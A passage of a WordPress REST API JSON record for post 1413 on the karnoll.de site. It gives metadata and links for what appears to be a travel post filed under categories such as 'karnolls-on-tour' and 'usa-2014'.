class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,14,10],"tags":[],"class_list":["post-1413","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-the-wave","category-usa-2014"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1413"}],"version-history":[{"count":4,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1413\/revisions"}],"predecessor-version":[{"id":4509,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1413\/revisions\/4509"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}